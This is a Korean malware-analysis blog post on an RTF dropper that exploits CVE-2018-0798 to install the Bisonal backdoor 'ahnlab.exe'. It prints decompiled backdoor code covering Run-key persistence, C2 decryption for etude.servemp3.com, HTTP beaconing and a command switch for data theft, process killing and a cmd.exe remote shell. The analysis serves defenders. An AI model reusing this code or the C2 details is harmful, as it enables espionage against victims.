블로그 이전했습니다. https://jeongzero.oopy.io/
[RTF] 문서형 악성코드 분석
본문 바로가기
보안/악성코드 분석

[RTF] 문서형 악성코드 분석

728x90

1. 목차


2. 악성코드 개요

2.1) 개요


악성 문서파일이 담긴 스팸메일 공격방식은 예전부터 꾸준히 사용되었던 악성코드 유포방법 중 하나이다. 이번에는 RTF(Rich Text Format) 문서 취약점을 이용한 악성코드를 분석해볼 것이다. RTF는 MS에서 개발한 문서 형식이며, 서식있는 텍스트 파일과 일반 텍스트 파일의 혼합을 뜻한다.

일반적으로 MS Word 로 RTF 문서를 편집할 수 있으며 이번에 분석하려는 악성 RTF문서는 내부 수식편집기에 존재하는 취약점(CVE-2018-0798)을 이용하여 쉘코드를 수행시킨다. 따라서 문서 내부의 쉘코드를 분석하고 어떠한 악성행위를 하는지 분석하는 것을 목표로 할 것이다.

2.2) 분석 환경


분석 환경

IndexTags
OSWIndow7Window10
ToolsFakenetPE-bearPe-studioProcess-HackerProcmonx32dbg
SandboxAny-run

분석 대상 - RTF

NameTags
MD5221b9de416d42a979288cfa196912af4
SHA-2569d99badebbfc6616d9a74dbfced6b7db9097d274366a232025469980f9a229a0
File typeRich Text Format
File size79.24 MB
Creation Time2019-12-23 23:37:00
FunctionDropperTrojaninfo-steal

분석 대상 - intel.wll

NameTags
MD515af764731c257caf1ee26d1cfc049a9
SHA-25623d263b6f55ac81f64c3c3cf628dd169d745e0f2b264581305f2f46efc879587
File typeWin32 DLL
File size534.00 KB (546816 bytes)
Creation Time2019-12-24 08:21:14

분석 대상 - ahnlab.exe

NameTags
MD554c3752decccbcd85f9cbbcd3d67cdee
SHA-256effd31b11bdc6486082967c2d8e53d979e59a88ba28e68a1c94f5a064a8a966d
File typeWin32 EXE
File size79.24 MB (83087360 bytes)
Creation Time2019-12-24 06:59:14

3. 상세분석

3.1) 샌드박스 분석


샌드박스의 분석 결과를 확인해보자. 4개의 Http request가 확인되지만 현재 C&C 서버가 죽어있기때문에 응답이 없는것으로 확인된다.

프로세스 정보를 보면 해당 RTF 악성코드인 WINWORD.exe 가 한번 실행되면서, 수식 편집기 프로세스인 EQNEDT32.EXE 가 실행되었다. 해당 프로세스는 부모-자식 관계로 생성된 프로세스가 아니며 독립적인 프로세스이다.

그리고 다시한번 WINWORD.EXE 프로세스가 수행된 후, 하위 프로세스로 ahnlab.exe 가 생성된 것을 확인할 수 있다.

EQNED32.EXE 프로세스의 상세 정보를 확인해보자. 해당 프로세스는 " EQNED32.EXE -Embedding " 명령어로 실행된걸 알 수 있는데, 이는 정상적인 수식 편집기 기능을 하는 프로세스이지만 내부에 존재하는 취약점을 이용하여 startup folder에 특정 파일을 생성한다는 것을 알 수 있다.

우측 정보를 보면 intel.wll 이라는 바이너리를 생성한다.

두번째 실행된 WINWORD.EXE의 정보이다. Unusual한 실행을 한다고 분석되어 있으며 자식 프로세스로 ahnlab.exe 를 생성한다

실제 ahnlab.exe 프로세스에서 악성행위가 일어지는 것으로 추정된다. 하지만 샌드박스에서는 어떠한 행위를 하는지 아직은 알 수 없다. 단지 레지스트리에 해당 악성 바이너리를 자동 실행되게 추가한다는 것 정도만 확인할 수 있다.

ATT&CK Matrix 정보를 확인하면 다음과 같다. 총 2개 종류의 실행 방식과 2개의 지속 동작 그리고 레지스트리 query 정보를 확인할 수 있다.

모듈 로드와 관련된 정보를 확인해보면 intel.wll 파일이 startup 폴더에 드랍되었다는걸 다시한번 확인할 수 있다.

intel.wll 파일의 상세정보를 확인해보면 DLL 파일인것으로 보아 DLL injection 등의 기법으로 삽입되었을 것이다.

user execution 정보는 직접 실행시킨 RTF 문서파일로 확인된다

또한 지속 메커니즘을 위해 레지스트리에 생성한 ahnlab.exe 바이너리를 실행시키는 커맨드를 확인 할 수 있다.

마지막으로 샌드박스에서 확인한 파일 정보들을 보면 추가적으로 8.t 파일을 제일 먼저 생성한다는 것을 알 수 있다.

3.2) 정적 분석


샌드박스에서 확인한 정보를 토대로 실제 RTF 문서 파일 정보를 확인해보면 실제 RTF 문서 포맷인 것을 알 수 있다.

RTF 문서 내부에서 수식 편집기 기능을 이용하여 쉘코드가 삽입되므로, 해당 문서 내부에서 수식편집 기능에 사용되는 OLE 객체 정보를 확인해보면 2개의 OLE 객체를 확인할 수 있다.

실제 RTF 문서 내부에 embedded 형태로 저장되어 있는 첫 번째 OLE 객체인 8.t 파일을 확인 할 수 있다. 이는 샌드박스에서 확인한 파일이다. 해당 ole 객체는 package 클래스로 분류되는데 이는 rtf 문서가 열리는 동시에 해당 OLE 객체가 생성된다는 의미이다. 즉 문서가 열릴때 8.t object()가 생성된다는 것을 알 수 있다.

8.t 파일을 확인해보면 data 형식으로 되어있으며 암호화가 되어있어 어떠한 동작을 행하는지 자세하게 알 수 없지만 샌드박스 분석 결과를 통해 intel.wll 파일을 생성한다는 것을 추측할 수 있다.

3.3) 행위 분석


현재 C&C 서버가 존재하지 않으므로 RTF 문서를 실행시켜도 샌드박스에서 분석한 내용을 확인할 수 없다. 따라서 fake C&C 서버를 실행시켜야 한다. 이는 fakenet 프로그램을 이용하였다.

우측 상단이 fakenet 프로그램이며, 우측 하단에서는 생성되는 파일을 확인할 것이다. 마지막으로 좌측 프로세스 모니터를 이용하여 프로세스 일련의 과정을 확인해 볼것이다.

RTF 문서를 처음 실행시키면 8.t파일이 생성됨과 동시에 intel.wll 파일이 생성되었다. 이제 RTF 문서를 끄고 다시한번 실행시켜보자

ahnlab.exe 파일이 생성된 걸 볼 수 있다.

fakenet에서 저장된 패킷을 확인해보면 샌드박스에서 확인한 dns 쿼리 요청와 http reuqest(사진에는 없음)을 볼 수 있다. 현재 해당 서버는 죽어있기 때문에 실제 어떠한 정보를 요청했는지는 정확히 알 수 없다.

프로세스 모니터 정보를 확인해보면 svchost.exe 프로세스 하위에 수식편집기 프로세스인 EQNEDT32.EXE 를 확인할 수 있다. 현재 두번 RTF 문서를 실행시켰으므로 두 개의 프로세스가 확인된다.

밑에쪽을 보면 실행시킨 문서인 WINWORD.EXE 두 개의 프로세스를 확인할 수 있다. 두 번째로 실행시킨 WINWORD.EXE 하위에 ahnlab.exe 프로세스가 생성되어있는 걸 볼 수 있다.

WINWORD.EXE, EQNEDT32.EXE 프로세스를 포함 시킨 뒤, 필터를 걸어서 확인해보면 8.t파일을 생성한 뒤 write 작업을 한다는 것을 볼 수 있다.

그다음 8.t를 실행시키고 intel.wll 생성 및 실행의 과정을 확인 할 수 있다. 그리고 ahnlab.exe 을 생성한다.

마지막으로 ahlab.exe를 실행시킨 뒤,

8.t 파일을 삭제한다.

ahnlab.exe 바이너리를 확인해보면 resource 영역에 중국어로 생성되었다는 정황으로 보아 중국해커 가 제작한 악성코드일 가능성이 높다.

샌드박스와 행위분석을 통해 얻은 정보를 정리하면 위와 같다. 악성 RTF가 실행되면 WINWORD.EXE 가 실행됨과 동시에 8.t 파일이 생성된다.(사진에선 표시안함)

그다음 수식 편집기의 취약점을 이용하여 intel.wll 파일이 생성된다. 다시 RTF 문서를 실행시키면 WINWORD.EXE 프로세스가 실행되면서 다시 수식 편집기의 취약점을 이용하여 intel.wll 파일을 실행시킨다. 해당 dll 내부에서 실제 악성행위를 하는 Ahnlab.exe를 생성 및 실행한다.

3.4) 동적분석


실제 WINWORD.EXE가 실행될 때 수식 편집기의 취약점부터 동적으로 분석해보자.

실제 sub_443F6C 함수 내부에서 반복문을 돌면서 " mov [ecx], al " 명령어에 의해 overflow가 발생한다.

window10 SDK의 Gflags 기능을 이용해서 수식 편집기가 실행될 때 디버거를 붙일 것이다.

sub_443F6C 에 bp를 걸고 실행하면 다음과 같이 걸린다. 해당 함수가 return되는 위치에 bp를 걸고 stack bof를 확인해보자.

스택 창을 확인해보면 0x50505050, 0x51515151 과 같은 더미 값이 들어간 걸 확인 할 수 있다.

계속 실행해보면 스택에 0x60606060 값이 들어간 걸 확인할 수 있다.

마지막으로 또 실행해보면 스택에 0x60606060, 0x61616161 값이 들어간 걸 확인할 수 있고, 그 밑에 보이는 0x7056DA 주소가 바로 쉘코드 시작주소이다. 저 주소에 bp를 걸고 진행해보자

해당 주소로 이동하면 nop sled기법으로 인해 널 바이트들이 초반에 들어가있다. 따라서 해당 부분이 쉘코드가 확실한것을 알 수 있다.

쉘코드를 확인해보면 edi에 들어있는 데이터를 2바이트 씩 루프를 돌면서 xor 연산하는 것을 확인 할 수 있다. xor 키는 0xc390이다. 해당 부분을 덤프를 떠서 확인해보면 다음과 같다

정확한 덤프를 못떠서 그런지 자세한 정보를 얻을 순 없었지만 String을 보면 행위 분석 시에 확인한 intel.wll 이 들어가 있다. 또한 그 위에 여러 API 함수 이름들이 있는데 이를 보아 API 리졸빙 과정을 거처서 원하는 함수 주소를 얻는 것으로 확인된다.

분석은 진행하면 특정 Call 부분에서 모두 동일한 형식으로 호출하는 것을 볼 수 있다.

Call [edi+0xC] 형태로 호출을 하는데, 이는 안티 바이러스를 위한 기능으로 어느 함수가 호출되는지는 실제 저 내부를 확인하면서 분석해야한다.

call 부분에 모두 bp를 걸고 실제 호출되는 함수를 확인하면 다음과 같다


  • GetTempPathA → 8.t 경로 얻기
  • CreateFileA → 8.t 핸들 값 얻기
  • GetFileSize → 8.t 파일 사이즈 얻기
  • VirtuallAlloc - 가상 공간 할당
  • ReadFile - 할당한 가상 공간에 8.t 내용 읽기
  • CloseHandle - 8.t
  • GetTempPathA - intel.wll
  • CreateFileA - intel.wll
  • WriteFile - intel.wll
  • CloseHandle - intel.wll
  • TerminateProcess

이를 통해 처음 RTF 문서 실행 시 생성되는 8.t 파일의 핸들을 얻은 다음, 가상공간에 할당받는다. 그다음 8.t 파일을 읽어서 메모리에 매핑시킨다. 그 후 intel.wll 파일을 생성한 뒤, writefile 함수를 이용하여 데이터를 쓴다.

즉, 8.t 를 이용하여 해당 데이터를 복호화 한 뒤, intel.wll에 넣는다는 것을 알 수 있다. 이 부분만 다시 확인해보자.

VirtualAlloc 부분은 확인해보면 실제 0x30f0000 영역을 할당받는다. readfile이 진행되면 8.t 의 내용을 저기에 복사할 것이다

실제 ReadFile 시에 0x30f0000 에 8.t 내용을 넣는다.

readfile 함수는 238 핸들을 읽어서 할당 받은 메모리에 넣는데 238 핸들은 바로

8.t 내용이다.

이제 할당받은 영역에 복사한 8.t 데이터를 복호화 하는 과정을 거친다

다음과 같이 8.t의 내용이 복호화된다.

복호화 된 데이터를 덤프를 떠서 해시 값을 확인해보자

md5 : 872ed241734deb5061a0214e50bfb7f6

그다음 CreateFile로 시작해서 intel.wll 파일이 생성된 뒤 writefile로 데이터를 쓴다.

intel.wll 파일을 확인해보면 dll 파일이라는 것을 알 수 있다.

그다음 수식 편집기 프로세스는 종료된다

지금까지 첫 RTF 문서가 열리면 생성되는 8.t를 복호화한 뒤 intel.wll 파일이 생성되는 것을 확인했다. 이제 fakenet 프로그램을 실행시킨 뒤 다시 한번 RTF 문서를 열어보자

두번째 RTF 문서을 열었을 때 분명 생성한 intel.wll dll 파일을 로드할 것이다. 따라서 LoadLibrary 함수에 bp를 걸고 로드되는 dll들을 하나씩 확인해보다보면 위와 같이 add-in에 심각한 문제가 발생했다고 경고창이 뜬다. 이는 삽입된 intel.wll dll파일로써 아니오를 눌러야 add-in에 추가가 된다.

💡
MS Office add-in이란 플러그인 처럼 문서 실행시 자동으로 실행되는 놈을 뜻한다. 8.t에서 복호화된 데이터가 아마도 intel.wll을 add-in에 등록시키는 것으로 추정된다

보면 실제로 intel.wll을 로드한다. intel.wll dll의 dllMain함수에 하드 bp를 걸고 확인해보자

intel.wll dllMain() 을 보면 실제 sub_10001080 함수 내부에서 CommandLine 배열을 xor 연산을 진행한다. 해당 변수는 전역변수로써 복호화 하면 다음과 같은 문자열을 확인 할 수 있다

  • C:\ProgramData\ahnlab.exe

그리고 실제 sub_1001000() 함수 내부에서 복호화한 ahnlab.exe 문자열을 인자로하여 Creatfile을 호출한다. 즉 intel.wllWINWORD.EXE 내부에서 로드될 때 ahnlab.exe을 생성한다는 것을 알 수 있따

실제로 ahnlab.exe을 생성한다.

CreateProcessA 함수로 ahnlab.exe를 실행시킨다.

그럼 실제 ahnlab.exe가 실행되는 걸 확인 할 수 있고, 샌드박스에서 확인한 것처럼 지속 메커니즘을 적용시키기 위해 레지스트리 키로 등록한다

레지스트리에 등록되었다.

그리고 시스템을 재부팅하면 실제 USB package 형태로 자동 실행된다

실제 Ahnalb.exe에서 악성행위를 할 것이다. 동적 분석에 들어가기 전, Virustoal 정보를 토대로 어떠한 행위를 하는지 알아보자

다양한 백신에서 검사된 결과를 확인해보면 다운로드기능, 백도어, 트로이젠 등의 다양한 악성 행위를 한다. 이는 Bisonal malware라는 명칭으로서 공격자의 명령에 따라 다양한 백도어 기능과 시스템 파일 변조 기능을 갖고있다.

ahnlab.exe 정보를 확인해보면 MFC로 제작된 것을 알 수 있다.

MFC는 AfxWinMain()부터 동작을 수행한다.

3.4.1) sub_40115D


int __thiscall sub_40115D(int this)
{
  HMENU v2; // eax
  struct CMenu *v3; // edi
  HMODULE v4; // eax
  HANDLE v5; // eax
  HMODULE hModule; // [esp+Ch] [ebp-14h]
  LPCWSTR lpNewItem; // [esp+10h] [ebp-10h] BYREF
  int v9; // [esp+1Ch] [ebp-4h]

  CDialog::OnInitDialog((CDialog *)this);
  v2 = GetSystemMenu(*(HWND *)(this + 32), 0);
  v3 = CMenu::FromHandle(v2);
  if ( v3 )
  {
    CString::CString((CString *)&lpNewItem);
    v9 = 0;
    CString::LoadStringW((CString *)&lpNewItem, 0x65u);
    if ( *((_DWORD *)lpNewItem - 2) )
    {
      AppendMenuW(*((HMENU *)v3 + 1), 0x800u, 0, 0);
      AppendMenuW(*((HMENU *)v3 + 1), 0, 0x10u, lpNewItem);
    }
    v9 = -1;
    CString::~CString((CString *)&lpNewItem);
  }
  SendMessageW(*(HWND *)(this + 32), 0x80u, 1u, *(_DWORD *)(this + 96));
  SendMessageW(*(HWND *)(this + 32), 0x80u, 0, *(_DWORD *)(this + 96));
  hModule = LoadLibraryW(LibFileName);
  *(_DWORD *)ShellExecuteW = GetProcAddress(hModule, "ShellExecuteW");
  *(_DWORD *)ShellExecuteExW = GetProcAddress(hModule, "ShellExecuteExW");
  *(_DWORD *)SHChangeNotify = GetProcAddress(hModule, "SHChangeNotify");
  v4 = LoadLibraryW(aShlwapiDll);
  SHDeleteValueA = (LSTATUS (__stdcall *)(HKEY, LPCSTR, LPCSTR))GetProcAddress(v4, "SHDeleteValueA");
  CWnd::ModifyStyleEx((CWnd *)this, 0x40000u, 0x80u, 0);
  CWnd::SetWindowPos((CWnd *)this, CWnd::wndTop, 0, 0, 0, 0, 0);
  CWnd::ShowWindow((CWnd *)this, 0);
  v5 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)run, 0, 0, 0);
  CloseHandle(v5);
  return 1;
}

sub_4011D5 함수부터 기능을 한다. 아래를 보면 GetProcAddess 함수를 이용하여 사용하려는 함수의 주소를 얻는다. 레지스트리 키를 삭제할 수 있는 SHDeleteValueA 함수 주소를 얻는다. 그다음 쓰레드를 생성한다

3.4.2) run - 앞에 부분


void __stdcall __noreturn run(LPVOID lpThreadParameter)
{
  int v1; // ecx
  WCHAR *v2; // eax
  char *v3; // edi
  struct hostent *v4; // eax
  char *v5; // eax
  BOOL v6; // esi
  struct WSAData WSAData; // [esp+Ch] [ebp-3D8h] BYREF
  WCHAR Filename; // [esp+19Ch] [ebp-248h] BYREF
  char v9[516]; // [esp+19Eh] [ebp-246h] BYREF
  __int16 v10; // [esp+3A2h] [ebp-42h]
  char name[52]; // [esp+3A4h] [ebp-40h] BYREF
  __time32_t Time; // [esp+3D8h] [ebp-Ch] BYREF
  int v13; // [esp+3DCh] [ebp-8h] BYREF
  HKEY phkResult; // [esp+3E0h] [ebp-4h] BYREF

  Sleep(0x608u);
  Filename = 0;
  memset(v9, 0, sizeof(v9));
  v10 = 0;
  GetModuleFileNameW(0, &Filename, 0x104u);
  if ( !RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &phkResult) )// 지속 메커니즘
  {
    v1 = 0;
    if ( Filename )
    {
      v2 = &Filename;
      do
      {
        ++v1;
        ++v2;
      }
      while ( *v2 );
    }
    RegSetValueExW(phkResult, L"mismyou", 0, 1u, (const BYTE *)&Filename, 2 * v1);
  }
  RegCloseKey(phkResult);
  v13 = 0x12345678;
  sub_4021F6((int)&v13, 4u, (int)byte_404040, 30); //byte_404040 복호화
  sub_4021F6((int)&v13, 4u, (int)&Source, 30);  //Source 복호화
  *(_DWORD *)&nServerPort -= 10;
  Time = time(0);
  v3 = ctime(&Time);
  memset(&Dest, 0, 0x28u);
  mbstowcs(&Dest, v3 + 4, 0xFu);
  strcpy(Destination, aKs8d);

//..생략 

}
  • 모듈의 filename을 얻고, 지속 메커니즘을 위한 레지스트리 키를 등록한다 RegCreateKeyW
  • 등록하려는 레지스트리 키 이름은 mismyou이다. RegSetValueExW
  • sub_4021f6() 함수가 두 번 사용되는데 3번째 인자만 다르다. 3번째 인자로 들어가는 값을 확인해보면 지금은 알 수 없는 값이지만 해당 함수에서 복호화가 수행된다
    복호화 전
    복호화 후
    byte_404040의 복호화 된 문자열 : etude.servemp3.com

    샌드박스에서 확인한 C&C 서버 주소이다.

    Source의 복호화 된 문자열 : etude.servemp3.com

    Source 문자열도 동일한 주소로 해석된다.

  • 복호화 로직 - 토글 선택
    int __cdecl sub_4021F6(int a1, unsigned int a2, int a3, int a4)
    {
      int v4; // ebx
      int i; // eax
      int v6; // esi
      unsigned int v7; // edx
      int v8; // edi
      char *v9; // esi
      int v10; // edx
      int result; // eax
      unsigned __int8 v12; // bl
      char *v13; // esi
      char v14[512]; // [esp+Ch] [ebp-204h] BYREF
      int v15; // [esp+20Ch] [ebp-4h]
      int v16; // [esp+218h] [ebp+8h]
      unsigned __int8 v17; // [esp+21Bh] [ebp+Bh]
      int v18; // [esp+21Ch] [ebp+Ch]
    
      v4 = 0;
      for ( i = 0; i < 256; ++i )
        v14[i + 256] = i;
      v6 = 0;
      v7 = 0;
      do
      {
        v14[v6] = *(_BYTE *)(v7 + a1);
        v7 = (v7 + 1) % a2;
        ++v6;
      }
      while ( v6 < 256 );
      v8 = 0;
      do
      {
        v9 = &v14[v8 + 256];
        v17 = v14[v8 + 256];
        v10 = ((unsigned __int8)v14[v8++] + v4 + v17) % 256;
        v4 = v10;
        *v9 = v14[v10 + 256];
        v14[v10 + 256] = v17;
      }
      while ( v8 < 256 );
      result = 0;
      v18 = 0;
      v16 = 0;
      if ( a4 > 0 )
      {
        while ( 1 )
        {
          v12 = v14[(result + 1) % 256 + 256];
          v15 = (result + 1) % 256;
          v13 = &v14[v15 + 256];
          v18 = (v18 + v12) % 256;
          *v13 = v14[v18 + 256];
          v14[v18 + 256] = v12;
          *(_BYTE *)(v16 + a3) ^= v14[(v12 + (unsigned __int8)*v13) % 256 + 256];
          result = ++v16;
          if ( v16 >= a4 )
            break;
          result = v15;
        }
      }
      return result;
    }

여기까지 C2 서버의 주소를 복호화하는 루틴을 확인했다. 그 아래에는 루프를 돌면서 ip 처리를 위한 과정이 수행된다.

3.4.3) run - 뒤에 부분


void __stdcall __noreturn run(LPVOID lpThreadParameter)
{
  int v1; // ecx
  WCHAR *v2; // eax
  char *v3; // edi
  struct hostent *v4; // eax
  char *v5; // eax
  BOOL v6; // esi
  struct WSAData WSAData; // [esp+Ch] [ebp-3D8h] BYREF
  WCHAR Filename; // [esp+19Ch] [ebp-248h] BYREF
  char v9[516]; // [esp+19Eh] [ebp-246h] BYREF
  __int16 v10; // [esp+3A2h] [ebp-42h]
  char name[52]; // [esp+3A4h] [ebp-40h] BYREF
  __time32_t Time; // [esp+3D8h] [ebp-Ch] BYREF
  int v13; // [esp+3DCh] [ebp-8h] BYREF
  HKEY phkResult; // [esp+3E0h] [ebp-4h] BYREF

..// 생략

while ( 1 )
  {
    if ( !WSAStartup(0x202u, &WSAData) )
    {
      if ( WSAData.wVersion == 514 )
      {
        if ( !gethostname(name, 50) )
        {
          v4 = gethostbyname(name);
          if ( v4 )
          {
            my_ip = inet_ntoa(**(struct in_addr **)v4->h_addr_list);
            strcpy(byte_40497C, my_ip);
          }
        }
        strcat(Destination, byte_40497C);       //
        strcat(Destination, aAkspbuTxt);
        v6 = 0;
//------------------------------------------------------------------------------
// 루프를 돌면서 실제 악성 행위 
				while ( 1 )
        {
          if ( sub_401553((LPVOID)v6) != 8 )
            v6 = !v6;
          Sleep(dwMilliseconds);
        }
//------------------------------------------------------------------------------
      }
      WSACleanup();
    }
    Sleep(0x64u);
  }
}
  • gethostbyname() : 주어진 호스트 name에 상응하는 hostent타입의 구조체를 반환
  • inet_nota() : 로컬 PC IP 주소를 얻고, byte_4097c에 복사한다.
  • strcat : Destination 변수에 IP 주소와 특정 문자열을 이어붙인다
    최종 Desitnation : ks8d192.168.140.130akspbu.txt → 이는 C2서버에서 다운받으려는 파일 이름이다
  • sub_401553 : 루프로 계속 실행

3.4.4) sub_401553 - 앞부분


int __cdecl sub_401553(LPVOID lpParameter)
{
//...

  Optional[1] = 999;
  Optional[0] = dword_404084;
  v21 = 305419896;
  decode_((int)&v21, 4u, (int)Optional, 8);
  v1 = InternetOpenA(szAgent, 0, 0, 0, 0);
  hInternet = v1;
  if ( !v1 )
    return -1;
  Destination = 0;
  memset(v15, 0, 0x1Cu);
  v15[28] = 0;
  if ( lpParameter )
    strcpy(&Destination, &C2_addr2);
  else
    strcpy(&Destination, C2_addr1);
  v2 = InternetConnectA(v1, &Destination, nServerPort, 0, 0, 3u, 0, 0);
  v3 = v2;
  v23 = v2;
  if ( !v2 )
  {
    InternetCloseHandle(v1);
    InternetCloseHandle(0);
    return -1;
  }
  v4 = HttpOpenRequestA(v2, szVerb, ::Destination, 0, 0, 0, 0x84400100, 0);
  v22 = v4;
  if ( !v4 )
  {
    InternetCloseHandle(hInternet);
    InternetCloseHandle(v3);
    return -1;
  }
  if ( !HttpSendRequestW(v4, 0, 0, Optional, 8u) )
  {
    InternetCloseHandle(hInternet);
    InternetCloseHandle(v3);
    InternetCloseHandle(v4);
    return -1;
  }
  v5 = sub_401E6C(v4); // 실제 C2에서 파일 다운 // InternetReadFile_
  Size = v5;
  if ( v5 <= 0 )
    return -1;
  v7 = (int *)operator new(v5);
  v27 = v7;
  memset(v7, 0, Size);
 
//생략
  • InternetOpenA : C2 서버와 http 통신을 하기 위한 패킷 초기화
    user-agent 부분 : Mozilla/4.0 (compatible; MSIE 6; Windows NT 5; .NET CLR 1.1.4322
  • strcpy(&Destination, &C2_addr2); : C2 서버 주소 복사
  • InternetConnectA : C2 서버와 HTTP 커넥션 연결
  • HttpOpenRequestA : C2 서버에 요청할 데이터 생성
    요청하는 파일 : "ks8d192.168.140.130akspbu.txt"
  • HttpSendRequestW : 실제 C2 서버에 요청
  • sub_401E6C : 내부에서 실제 C2서버에서 요청한 데이터 다운로드
    int __cdecl sub_401E6C(HINTERNET hFile)
    {
      DWORD dwNumberOfBytesRead; // [esp+4h] [ebp-8h] BYREF
      int Buffer; // [esp+8h] [ebp-4h] BYREF
    
      Buffer = 0;
      dwNumberOfBytesRead = 0;
      InternetReadFile(hFile, &Buffer, 4u, &dwNumberOfBytesRead);
      return Buffer;
    }

현재 C2 서버가 죽어서 어떠한 데이터를 받아오는지는 알 수 없다. 동적분석은 여기까지 가능하고 그 이후부터는 기 분석된 자료를 토대로 분석할 것이다.

3.4.5) sub_401553 - 뒤에 부분


int __cdecl sub_401553(LPVOID lpParameter)
{
// 생략

 result = InternetReadFile_(v4);
  Size = result;
  if ( result <= 0 )
    return -1;
  new_ = (int *)operator new(result);
  v27 = new_;
  memset(new_, 0, Size);
  if ( (int)sub_401E9B(v4, (DWORD)v7, Size) > 0 )
  {
    InternetCloseHandle(hInternet);
    InternetCloseHandle(v23);
    InternetCloseHandle(v22);
    hInternet = (HINTERNET)GetOEMCP();
    NumberOfBytesWritten = 0;
    dword_404084 = *v7;

// 실제 C2 서버로부터 다운 받은 데이터를 기반으로 각종 악성 행위 수행
		switch ( new_[1] )
    {
      case 200:
        sub_4019A9(lpParameter); //pc정보수집
        break;
      case 201:
				sub_401BBE(lpParameter); //실행중인 프로세스 정보 수집
        break;
      case 202:
				sub_401EEF(new_[2], lpParameter); //특정 프로세스 종료
        break;
      case 203:
				//cmd.exe 실행해서 특정 기능 수행
        goto LABEL_23;
      case 205:
				sub_4022F0((size_t)(new_ + 2), lpParameter); //ab 모드로 fopen -> ab mode
        break;
      case 207:
				sub_4023CB((int)(new_ + 2), lpParameter);//shellexcute함수로 특정 프로그램 실행
        break;
      case 208:
				sub_402424()//등록한 레지스트리 키 mismyou 삭제
        break;
      case 209:
				//fopen -> wb mode
      
//생략
  • sub_401E9B 해당 함수에서 다시한번 C2 서버로 데이터를 다운 받는다 - 토글 클릭
    DWORD __cdecl sub_401E9B(HINTERNET hFile, DWORD dwNumberOfBytesRead, DWORD dwNumberOfBytesToRead)
    {
      int v3; // ebx
      int v4; // edi
      DWORD v5; // esi
      DWORD result; // eax
      int v7; // [esp+Ch] [ebp-4h] BYREF
    
      v3 = dwNumberOfBytesRead;
      v4 = dwNumberOfBytesToRead;
      v5 = 0;
      v7 = 305419896;
      if ( (int)dwNumberOfBytesToRead <= 0 )
      {
    LABEL_4:
        decode_((int)&v7, 4u, v3, dwNumberOfBytesToRead);
        result = v5;
      }
      else
      {
        while ( 1 )
        {
          InternetReadFile(hFile, (LPVOID)(v5 + v3), v4, &dwNumberOfBytesRead);
          result = dwNumberOfBytesRead;
          if ( !dwNumberOfBytesRead )
            break;
          v4 -= dwNumberOfBytesRead;
          v5 += dwNumberOfBytesRead;
          if ( v4 <= 0 )
            goto LABEL_4;
        }
      }
      return result;
    }
  • 다운 받은 데이터를 기준으로 행해지는 악성 행위가 switch-case 문으로 구분된다. EIP를 강제 이동시켜 각 case 문에서 수행되는 로직을 확인해보자

💡
추가적으로 각 case 문에서 수행되는 악성행위는 모두 sub_401D2C 함수를 통해 C2 서버로 전송된다
  • case 별 행위에 대한 희생자의 중요 정보들은 아래 함수의 첫 번째 인자로 들어간 뒤, HttpSendRequestW 함수의 3번째 인자를 통해 C2 서버로 전송된다
    DWORD __cdecl send_user_info_to_c2(LPVOID lpOptional, DWORD dwOptionalLength, HINTERNET hInternet)
    {
      void *v3; // esi
      void *v4; // eax
      void *v6; // eax
      void *v7; // edi
      signed int v8; // eax
      void *v9; // ebx
      DWORD v10; // esi
      char Destination; // [esp+Ch] [ebp-24h] BYREF
      char v12[31]; // [esp+Dh] [ebp-23h] BYREF
      int v13; // [esp+2Ch] [ebp-4h] BYREF
      LPVOID lpOptionala; // [esp+38h] [ebp+8h]
      void *hInterneta; // [esp+40h] [ebp+10h]
    
      v13 = 305419896;
      decode_((int)&v13, 4u, (int)lpOptional, dwOptionalLength);
      v3 = InternetOpenA(szAgent, 0, 0, 0, 0);
      if ( !v3 )
        return 0;
      Destination = 0;
      memset(v12, 0, 0x1Cu);
      v12[28] = 0;
      if ( hInternet )
        strcpy(&Destination, &C2_addr2);
      else
        strcpy(&Destination, C2_addr1);
      v4 = InternetConnectA(v3, &Destination, nServerPort, 0, 0, 3u, 0, 0);
      hInterneta = v4;
      if ( !v4 )
      {
        InternetCloseHandle(v3);
        InternetCloseHandle(0);
        return 0;
      }
      v6 = HttpOpenRequestA(v4, szVerb, ::Destination, 0, 0, 0, 0x84400100, 0);
      v7 = v6;
      if ( !v6 )
      {
        InternetCloseHandle(v3);
        InternetCloseHandle(hInterneta);
        return -1;
      }
      if ( !HttpSendRequestW(v6, 0, 0, lpOptional, dwOptionalLength) )
      {
        InternetCloseHandle(v3);
        InternetCloseHandle(hInterneta);
        InternetCloseHandle(v7);
        return -1;
      }
      v8 = InternetReadFile_(v7);
      lpOptionala = (LPVOID)v8;
      if ( v8 <= 0 )
        return -1;
      v9 = operator new(v8);
      if ( (int)sub_401E9B(v7, (DWORD)v9, (DWORD)lpOptionala) > 0 )
      {
        InternetCloseHandle(v3);
        InternetCloseHandle(hInterneta);
        InternetCloseHandle(v7);
        v10 = dwOptionalLength;
      }
      else
      {
        v10 = -1;
      }
      operator delete(v9);
      return v10;
    }


switch-case : 200: 사용자 pc 정보 탈취

sub_4019A9(lpParameter)


switch-case : 201: 실행중인 프로세스 정보 수집

sub_401BBE(lpParameter);

루프를 돌면서 프로세스 정보들을 얻은 뒤, send_user_info_to_c2() 함수로 C2서버에 전송한다


switch-case : 202: 특정 프로세스 강제 종료

sub_401EEF(new_[2], lpParameter);

C2 서버로부터 받은 데이터중 new_[2] 에 담기는 값은 특정 프로세스의 ID 값으로 추정된다. 해당 프로세스를 종료시키는 로직인데 아마도 보안 프로그램 등을 종료 시키는 등의 행동을 생각해볼 수 있다. 또한 Optional[]에 특정 정보를 담아서 C2 서버로 전송한다


switch-case : 203: cmd.exe 실행을 통한 특정 기능 수행

  • 전역에 선언된 flag 값을 확인한다. 초기 값은 0이므로 else 문으로 분기된다
  • 생성되는 쓰레드 핸들러에서 파이프 통신으로 새로운 자식 프로세스와 통신한다C
    CommandLine : " cmd.exe "
    • 통신한 정보를 WidwCharStr에 담아서 C2로 전송
  • WriteFile로 MultiByteStr 에 들어있는 데이터를 쓴다


switch-case : 205: 특정 파일 fopen ( mode : ab )

sub_4022F0((size_t)(new_ + 2), lpParameter)

특정 이름의 파일을 open 한 뒤 해당 파일에 write한다. Filename은 case-209에서 결정된다


switch-case : 207: shellexcute함수로 특정 프로그램 실행

sub_4023CB((int)(new_ + 2), lpParameter);

